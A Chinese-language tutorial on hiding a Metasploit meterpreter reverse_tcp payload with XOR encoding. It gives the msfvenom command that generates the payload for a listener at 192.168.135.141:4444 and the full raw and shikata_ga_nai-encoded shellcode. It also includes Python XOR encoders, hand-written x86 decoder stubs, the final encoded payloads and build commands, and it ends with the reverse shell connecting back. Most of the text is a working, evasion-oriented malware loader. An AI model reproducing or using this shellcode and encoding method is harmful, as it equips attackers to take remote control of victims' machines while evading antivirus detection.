摘要
本文介绍如何编写汇编代码来实现shellcode的异或解密
在shellcode
执行时首先异或解密以提取嵌入的木马代码,然后执行解密后的shellcode
Msf
msf
生成初始shellcode
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.135.141 lport=4444 -f c -o shellcode.c
\xFC\xE8\x8F\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B\x52\x0C\x8B\x52\x14\x0F\xB7\x4A\x26\x8B\x72\x28\x31\xFF\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\x49\x75\xEF\x52\x57\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4C\x01\xD0\x8B\x58\x20\x01\xD3\x8B\x48\x18\x50\x85\xC9\x74\x3C\x31\xFF\x49\x8B\x34\x8B\x01\xD6\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8\x3B\x7D\x24\x75\xE0\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xE9\x80\xFF\xFF\xFF\x5D\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\x89\xE8\xFF\xD0\xB8\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x6A\x0A\x68\xC0\xA8\x87\x8D\x68\x02\x00\x11\x5C\x89\xE6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x6A\x10\x56\x57\x68\x99\xA5\x74\x61\xFF\xD5\x85\xC0\x74\x0A\xFF\x4E\x08\x75\xEC\xE8\x67\x00\x00\x00\x6A\x00\x6A\x04\x56\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x83\xF8\x00\x7E\x36\x8B\x36\x6A\x40\x68\x00\x10\x00\x00\x56\x6A\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x6A\x00\x56\x53\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x83\xF8\x00\x7D\x28\x58\x68\x00\x40\x00\x00\x6A\x00\x50\x68\x0B\x2F\x0F\x30\xFF\xD5\x57\x68\x75\x6E\x4D\x61\xFF\xD5\x5E\x5E\xFF\x0C\x24\x0F\x85\x70\xFF\xFF\xFF\xE9\x9B\xFF\xFF\xFF\x01\xC3\x29\xC6\x75\xC1\xC3\xBB\xF0\xB5\xA2\x56\x6A\x00\x53\xFF\xD5
FCE88F0000006089E531D2648B52308B520C8B52140FB74A268B722831FF31C0AC3C617C022C20C1CF0D01C74975EF52578B52108B423C01D08B407885C0744C01D08B582001D38B48185085C9743C31FF498B348B01D631C0ACC1CF0D01C738E075F4037DF83B7D2475E0588B582401D3668B0C4B8B581C01D38B048B01D0894424245B5B61595A51FFE0585F5A8B12E980FFFFFF5D6833320000687773325F54684C77260789E8FFD0B89001000029C454506829806B00FFD56A0A68C0A8878D680200115C89E6505050504050405068EA0FDFE0FFD5976A1056576899A57461FFD585C0740AFF4E0875ECE8670000006A006A0456576802D9C85FFFD583F8007E368B366A406800100000566A006858A453E5FFD593536A005653576802D9C85FFFD583F8007D285868004000006A0050680B2F0F30FFD55768756E4D61FFD55E5EFF0C240F8570FFFFFFE99BFFFFFF01C329C675C1C3BBF0B5A2566A0053FFD5
字符串的总长度是708,28032位,354字节
异或加密
python异或,依次选择2个字符(1个字节)进行异或处理(选择异或的数据是121,16进制的79)
def xor_shellcode(shellcode):
result = ''
shellcode = shellcode.replace(" ", "").replace("\n", "").replace("\r", "")
for i in range(0, len(shellcode), 2):
byte = int(shellcode[i:i+2], 16)
xor_byte = byte ^ 121
result += format(xor_byte, '02x')
print("shellcode长度:"+str(len(shellcode)))
return result
if __name__ == '__main__':
shellcode = input("shellcode: ")
xorshellcode = xor_shellcode(shellcode)
print("Xor_shellcode: "+ xorshellcode)
异或后的shellcode
8591f679797919f09c48ab1df22b49f22b75f22b6d76ce335ff20b51488648b9d54518057b5559b8b67478be300c962b2ef22b69f23b4578a9f23901fcb90d3578a9f2215978aaf2316129fcb00d45488630f24df278af48b9d5b8b67478be41990c8d7a048142045d0c9921f2215d78aa1ff27532f2216578aaf27df278a9f03d5d5d2222182023288699212623f26b90f986868624114a4b7979110e0a4b262d11350e5f7ef09186a9c1e978797950bd2d291150f9127986ac137311b9d1fef4117b796825f09f2929292939293929119376a69986acee13692f2e11e0dc0d1886acfcb90d738637710c95911e7979791379137d2f2e117ba0b12686acfa8179074ff24f133911796979792f13791121dd2a9c86acea2a13792f2a2e117ba0b12686acfa81790451211179397979137929117256764986ac2e110c17341886ac272786755d76fc0986868690e286868678ba50bf0cb8bac289ccdb2f13792a86ac
shellcode最初要执行解密流程
31 c9 ; xor ecx,ecx ecx置0
B9 62 01 00 00 ; mov ecx, 0x162 ecx赋值为10进制的354,在程序块中将ecx当作循环次数
80 74 08 0d 79 ; xor byte ptr [eax+ecx*1+0xd],0x79
从后往前进行异或解密,我这里31 c9
的上一指令是jmp eax
(汇编代码中通过jmp
指令跳转到shellcode
地址进行执行),所以eax
的值就是shellcode
的初始地址,也就是31 c9
那里,ecx
代表的是循环次数(解密次数),因为shellcode
是354字节,一次解密一个字节,所以ecx
就是0x162
(10进制的354),d代表了偏移量,从解密代码的执行到结束(F9的内存地址减去31的程序起始的内存地址)
在执行一次循环后ecx的值会减一,所以在循环354次时,xor byte ptr [eax+ecx*1+0xd],0x79
会解密85
这个字节完成最后一个字节的异或解密
E2 F9 ; loop -7 回到xor byte ptr [eax+ecx*1+0xd],0x79 指令处,循环的一部分
最终shellcode
31c9b9620100008074080d79e2F98591f679797919f09c48ab1df22b49f22b75f22b6d76ce335ff20b51488648b9d54518057b5559b8b67478be300c962b2ef22b69f23b4578a9f23901fcb90d3578a9f2215978aaf2316129fcb00d45488630f24df278af48b9d5b8b67478be41990c8d7a048142045d0c9921f2215d78aa1ff27532f2216578aaf27df278a9f03d5d5d2222182023288699212623f26b90f986868624114a4b7979110e0a4b262d11350e5f7ef09186a9c1e978797950bd2d291150f9127986ac137311b9d1fef4117b796825f09f2929292939293929119376a69986acee13692f2e11e0dc0d1886acfcb90d738637710c95911e7979791379137d2f2e117ba0b12686acfa8179074ff24f133911796979792f13791121dd2a9c86acea2a13792f2a2e117ba0b12686acfa81790451211179397979137929117256764986ac2e110c17341886ac272786755d76fc0986868690e286868678ba50bf0cb8bac289ccdb2f13792a86ac
defuse解码
带入汇编代码编译链接
nasm -f win32 xor.asm -o main.obj
gcc -m32 main.obj -o xor_msf.exe -lkernel32
如果想要通过x32dbg
看一下解密流程,可以在x32dbg加载程序后,右键搜索--> 所有用户模块 --> 命令 ,搜索jmp eax
命令,打上断点,点运行键让它执行到jmp eax
处
在jmp eax
处右键点击转到eax
地址反汇编代码处,这便步入了shellcode
处
具体的解密就那几行汇编代码完成的,断点调试就可以看寄存器以及内存地址的值,在这里就不贴图了
通过Process Monitor
查看程序动作能发现msf木马成功执行
改装版异或加密
我们先分析一下msf
的shikata_ga_nai
编码shellcode
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.135.141 lport=4444 -f c -e x86/shikata_ga_nai -i 1 -o encoded_shellcode.c
\xDB\xCD\xD9\x74\x24\xF4\xB8\x9B\x03\x7F\x6F\x5A\x33\xC9\xB1\x59\x31\x42\x19\x83\xC2\x04\x03\x42\x15\x79\xF6\x83\x87\xF2\xF9\x7B\x58\x6C\x73\x9E\x69\xBE\xE7\xEA\xD8\x0E\x63\xBE\xD0\xE5\x21\x2B\xE6\x4E\x8F\x75\xC9\x4F\x9B\x08\x01\x9E\x5C\x40\x6D\x81\x20\x9B\xA2\x61\x18\x54\xB7\x60\x5D\x22\xBD\x8D\x33\xE2\xB6\x03\xA4\x87\x8B\x9F\xC5\x47\x80\x9F\xBD\xE2\x57\x6B\x72\xEC\x87\x18\xD2\xCE\x77\x1F\x30\x85\x30\x07\x33\x53\xB4\x0B\x0A\x9B\x7C\xF8\x58\xE8\x7E\x28\x91\x2E\x2C\x15\x1D\xA3\x2C\x52\x9A\x5C\x5B\xA8\xD8\xE1\x5C\x6B\xA2\x3D\xE8\x6B\x04\xB5\x4A\x4F\xB4\x1A\x0C\x04\xBA\xD7\x5A\x42\xDF\xE6\x8F\xF9\xDB\x63\x2E\x2D\x6A\x37\x15\xE9\x36\xE3\x34\xA8\x92\x42\x48\xAA\x7B\x3A\xEC\xA1\x6E\x2D\x90\x4A\x71\x52\xCC\xDC\xBD\x9F\xEF\x1C\xAA\xA8\x9C\x2E\x75\x03\x0B\x02\xFE\x8D\xCC\x13\xE8\x2D\x02\x9B\x79\xD0\xA3\xDB\x50\x17\xF7\x8B\xCA\xBE\x78\x40\x0B\x3E\xAD\xFC\x01\xA8\x8E\xA8\x91\xA5\x67\xAA\x9D\xA4\x2B\x23\x7B\x96\x83\x63\xD4\x57\x74\xC3\x84\x3F\x9E\xCC\xFB\x20\xA1\x07\x94\xCB\x4E\xF1\xCC\x63\xF6\x58\x86\x12\xF7\x77\xE2\x15\x73\x7D\x12\xDB\x74\xF4\x00\x0C\xE3\xF6\xD8\xCD\x86\xF6\xB2\xC9\x00\xA1\x2A\xD0\x75\x85\xF4\x2B\x50\x96\xF3\xD4\x25\xAE\x88\xE3\xB3\x8E\xE6\x0B\x54\x0E\xF7\x5D\x3E\x0E\x9F\x39\x1A\x5D\xBA\x45\xB7\xF2\x17\xD0\x38\xA2\xC4\x73\x51\x48\x32\xB3\xFE\xB3\x11\xC7\xF9\x4B\xE7\xE0\xA1\x23\x17\xB1\x51\xB3\x7D\x31\x02\xDB\x8A\x1E\xAD\x2B\x72\xB5\xE6\x23\xF9\x58\x44\xD2\xFE\x70\x08\x4A\xFE\x77\x91\x7D\x85\xF8\x26\x7E\x7A\x11\x43\x7F\x7A\x1D\x75\xBC\xAC\x24\x03\x83\x6C\x13\x1C\xB6\xD1\x32\xB7\xB8\x46\x44\x92
带入汇编代码编译链接
x32dbg
通过jmp eax
指令定位shellcode
首先mov eax,6F7F0398
指令将解密key数据赋值给eax
,然后mov c1,59
设置循环次数(十进制的89次),xor dword ptr ds:[edx+19],eax
指令将 edx+19
处的数据与eax
异或,异或后的值赋给edx+19
这个地址
edx现在的值是00403004
,edx+19
就是0040301D
,从0040301D
处读取的4字节数据是8783F679
(倒过来读)
执行后地址数据变为E8FCF5E2
然后add edx,4
是为了解密下4个字节数据,之前解密的是从0040301D
到00403020
(8783F679
),后就要解密00403021
到00403024
的数据
add eax,dword ptr ds:[edx+15]
的含义是修改解密key数据,对应的就是00403021
到00403024
的异或解密数据
思路总结:
这msf
的编码思路就是先生成了一段4字节的数据(6F7F039B
),拿这段数据和E8FCF5E2
(0040301D
到00403020
)异或加密,得到8783F679
(加密后的shellcode
)
再让6F7F039B
与E8FCF5E2
相加后的数据587BF97D
作为下一个4字节的异或对象,然后循环反复
一句话解释就是拿上一4字节的shellcode
加上6F7F039B
作为下一个4字节shellcode
异或的密钥
手搓版python
异或加密更新
def xor_shellcode(shellcode):
result = ''
shellcode = shellcode.replace(" ", "").replace("\n", "").replace("\r", "")
xor_key = 121
for i in range(0, len(shellcode), 2):
byte = int(shellcode[i:i+2], 16)
xor_byte = byte ^ xor_key
result += format(xor_byte, '02x')
xor_key = xor_byte
print("shellcode长度:"+str(len(shellcode)))
return result
if __name__ == '__main__':
shellcode = input("shellcode: ")
xorshellcode = xor_shellcode(shellcode)
print("Xor_shellcode: "+ xorshellcode)
只用121加密第一字节数据,第二个字节的异或key为第一个字节加密后的数据,往后如此反复
初始shellcode
FCE88F0000006089E531D2648B52308B520C8B52140FB74A268B722831FF31C0AC3C617C022C20C1CF0D01C74975EF52578B52108B423C01D08B407885C0744C01D08B582001D38B48185085C9743C31FF498B348B01D631C0ACC1CF0D01C738E075F4037DF83B7D2475E0588B582401D3668B0C4B8B581C01D38B048B01D0894424245B5B61595A51FFE0585F5A8B12E980FFFFFF5D6833320000687773325F54684C77260789E8FFD0B89001000029C454506829806B00FFD56A0A68C0A8878D680200115C89E6505050504050405068EA0FDFE0FFD5976A1056576899A57461FFD585C0740AFF4E0875ECE8670000006A006A0456576802D9C85FFFD583F8007E368B366A406800100000566A006858A453E5FFD593536A005653576802D9C85FFFD583F8007D285868004000006A0050680B2F0F30FFD55768756E4D61FFD55E5EFF0C240F8570FFFFFFE99BFFFFFF01C329C675C1C3BBF0B5A2566A0053FFD5
python程序异或后的shellcode
856de2e2e2e2820beedf0d69e2b0800b5955de8c9897206a4cc7b59dac5362a20e32532f2d0121e02f2223e4add8376532b9ebfb70320e0fdf54146ce9295d1110c04b133332e16a223a6aef26526e5fa0e96256dddc0a3bfb579659545592aa4a3fcbc8b54d760b2f5abae269311514c7a12a266de6bea2a370fbff7475a52c684c68336809500a5ba4441c4319928069e916e9164b23102222224a3d4e7c23771f532402058c649b4bf3636262624b8fdb8be3ca4a2121de0b616b03c36bec61090b0b1a46cf29792979296939792941aba47b9b64b1264c5c0a5d35ac097d1ce336b373070df2bcb4c12dc5a2a2a2a2c8c8a2a6f0a7cfcd14dc837ca92ad2d2ac9a11274d0d65657575752349492179dd8e6b9441d281ebebbdeeb9d1d30ac29d62b734ccccb199c1a9a9e9e9e98383d3bbb09f90a05f8addb5c0aee3827da8f6a8575b7f70f5857a857a9308f708f7f6351cdaaf6ead16e653f1a7cdcd9e61b4
shellcode最初要执行解密流程
31 c9 ; xor ecx,ecx ecx置0
89 c2 ; mov edx,eax 将eax的数据给edx
31 c0 ; xor eax,eax eax置0
B9 61 01 00 00 ; mov ecx, 0x161 ecx赋值为10进制的353,代表的是循环次数
8a 44 0a 1d ; mov al,BYTE PTR [edx+ecx*1+0x1e]
32 44 0a 1c ; xor al,BYTE PTR [edx+ecx*1+0x1d]
88 44 0a 1d ; mov BYTE PTR [edx+ecx*1+0x1e],al
从后往前进行异或解密,拿最后一个字节b4
举例,b4
的解密key是上一个字节,也就是61
,先使用 mov al,BYTE PTR [edx+ecx*1+0x1e]
将地址处的数据赋值给al
寄存器(eax
的低八位寄存器),再通过xor al,BYTE PTR [edx+ecx*1+0x1d]
让上一字节数据与当前数据做异或运算并赋值给al
,最后再通过mov BYTE PTR [edx+ecx*1+0x1e],al
将源地址处数据修改
E2 F2 ; loop -14 回到mov al,BYTE PTR [edx+ecx*1+0x1e]指令处,循环的一部分
80 72 1d 79 ; xor byte ptr [eax+0x1d],0x79 使用0x79 Xor解密最后一个数据85
最终shellcode
31c989c231c0B9610100008a440a1d32440a1c88440a1dE2F280721d79856de2e2e2e2820beedf0d69e2b0800b5955de8c9897206a4cc7b59dac5362a20e32532f2d0121e02f2223e4add8376532b9ebfb70320e0fdf54146ce9295d1110c04b133332e16a223a6aef26526e5fa0e96256dddc0a3bfb579659545592aa4a3fcbc8b54d760b2f5abae269311514c7a12a266de6bea2a370fbff7475a52c684c68336809500a5ba4441c4319928069e916e9164b23102222224a3d4e7c23771f532402058c649b4bf3636262624b8fdb8be3ca4a2121de0b616b03c36bec61090b0b1a46cf29792979296939792941aba47b9b64b1264c5c0a5d35ac097d1ce336b373070df2bcb4c12dc5a2a2a2a2c8c8a2a6f0a7cfcd14dc837ca92ad2d2ac9a11274d0d65657575752349492179dd8e6b9441d281ebebbdeeb9d1d30ac29d62b734ccccb199c1a9a9e9e9e98383d3bbb09f90a05f8addb5c0aee3827da8f6a8575b7f70f5857a857a9308f708f7f6351cdaaf6ead16e653f1a7cdcd9e61b4
defuse解码
生成exe程序
执行msf
上线